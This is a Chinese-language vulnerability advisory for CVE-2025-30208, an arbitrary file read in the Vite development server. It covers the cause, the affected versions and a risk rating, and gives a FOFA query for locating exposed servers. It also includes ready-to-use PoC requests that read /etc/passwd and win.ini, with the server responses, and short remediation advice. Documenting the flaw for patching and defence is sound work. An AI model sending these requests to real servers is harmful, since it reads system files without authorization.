

Vite开发服务器 任意文件读取（CVE-2025-30208）

漏洞描述

该漏洞因为 @fs 拒绝访问 Vite 服务允许列表之外的文件。在 URL 中添加 ?raw?? 或 ?import&raw?? 可绕过此限制并返回文件内容（如果存在）。之所以存在此绕过，是因为尾随分隔符（例如 ?）在多个地方被删除，但在查询字符串正则表达式中没有考虑到这一点。导致攻击者可以绕过保护机制，非法访问项目根目录外的敏感文件。

影响版本

6.2.0 <= Vite <= 6.2.2

6.1.0 <= Vite <= 6.1.1

6.0.0 <= Vite <= 6.0.11

5.0.0 <= Vite <= 5.4.14

Vite <= 4.5.9

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="/@vite/client"

poc:linux

```
GET /@fs/etc/passwd?import&raw?? HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
```

原始 HTTP 请求

```
1 GET /@fs/etc/passwd?import&raw?? HTTP/1.1
2 Host : 
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate
7 Accept-Language: zh-CN,zh;q=0.9
8 Cache-Control: max-age=0
9 |
```

原始 HTTP 响应

```
1 HTTP/1.1 200 OK
2 Access-Control-Allow-Origin: *
3 Content-Type: application/javascript
4 Cache-Control: no-cache
5 Etag: W/"4c9-81fU2c61W2hgYIVp5kCiqPDBYu4"
6 Date: Thu, 27 Mar 2025 10:27:45 GMT
7 Connection: keep-alive
8 Keep-Alive: timeout=5
9 Content-Length auto: 1225
10
11 export default "root:x:0:0:root:/root:/bin/
bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/
nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/
sync\ngames:x:5:60:games:/usr/games:/usr/sbin/
nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/
nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/
nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/
nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/
nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/
nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/
nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/
```

poc: win

```
GET /@fs/C://windows/win.ini?import&raw?? HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1
```

原始 HTTP 请求

```
1 GET /@fs/C://windows/win.ini?import&raw?? HTTP/1.1
2 Content-Type: application/json
3 Host : 
```

原始 HTTP 响应

```
1 HTTP/1.1 200 OK
2 Access-Control-Allow-Origin: *
3 Content-Type: application/javascript
4 Cache-Control: no-cache
5 Etag: W/"7b-Lmp05PcaqfX3t8gv/rD65ZFaPvY"
6 Date: Thu, 27 Mar 2025 10:26:33 GMT
7 Connection: keep-alive
8 Keep-Alive: timeout=5
9 Content-Length auto: 123
10
11 export default ";for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n[mci-extensions]\r\n[files]\r\n[Mail]\r\nMAPI=1\r\n"
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本